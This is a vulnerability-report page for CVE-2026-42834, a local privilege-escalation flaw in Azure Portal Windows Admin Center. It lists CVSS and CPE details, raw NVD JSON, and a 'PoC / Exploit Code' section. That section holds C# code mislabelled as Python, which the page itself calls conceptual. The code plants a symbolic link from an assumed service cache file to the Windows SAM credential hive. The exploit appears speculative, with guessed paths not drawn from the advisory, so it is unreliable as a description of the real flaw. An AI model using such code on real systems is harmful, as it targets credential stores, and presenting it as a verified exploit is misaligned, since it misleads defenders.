Security Vulnerability Report
中文
CVE-2026-42834 CVSS 7.8 HIGH

CVE-2026-42834

Published: 2026-05-20 13:16:35
Last Modified: 2026-05-20 18:29:08

Description

Improper link resolution before file access ('link following') in Azure Portal Windows Admin Center allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:windows_admin_center:*:*:*:*:*:azure:*:* - VULNERABLE
Azure Portal Windows Admin Center (具体受影响版本未在提供的信息中明确)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-42834 // This script demonstrates how a symbolic link could be created to exploit improper link resolution. using System; using System.IO; using System.Runtime.InteropServices; public class SymbolicLinkExploit { // Import kernel32.dll for creating symbolic links [DllImport("kernel32.dll", CharSet = CharSet.Unicode)] public static extern bool CreateSymbolicLink(string lpSymlinkFileName, string lpTargetFileName, int dwFlags); public static void Main(string[] args) { string maliciousLink = @"C:\ProgramData\WindowsAdminCenter\Cache\config.json"; string privilegedTarget = @"C:\Windows\System32\config\sam"; Console.WriteLine("[*] Attempting to create symbolic link..."); Console.WriteLine("[*] Link: " + maliciousLink); Console.WriteLine("[*] Target: " + privilegedTarget); // Create the symlink (requires Developer Mode or specific privileges on some Windows versions) // 0x2 indicates SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE bool success = CreateSymbolicLink(maliciousLink, privilegedTarget, 0x2); if (success) { Console.WriteLine("[+] Symbolic link created successfully!"); Console.WriteLine("[*] Waiting for the Windows Admin Center service to trigger the file access..."); Console.WriteLine("[*] If the service writes to the link, it writes to the privileged target."); } else { int errorCode = Marshal.GetLastWin32Error(); Console.WriteLine("[-] Failed to create symbolic link. Error Code: " + errorCode); } } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42834", "sourceIdentifier": "[email protected]", "published": "2026-05-20T13:16:34.500", "lastModified": "2026-05-20T18:29:08.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper link resolution before file access ('link following') in Azure Portal Windows Admin Center allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:windows_admin_center:*:*:*:*:*:azure:*:*", "versionEndExcluding": "0.72.0.0", "matchCriteriaId": "A03F6B4A-F5F3-4FA8-A133-D47441305B5F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42834", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}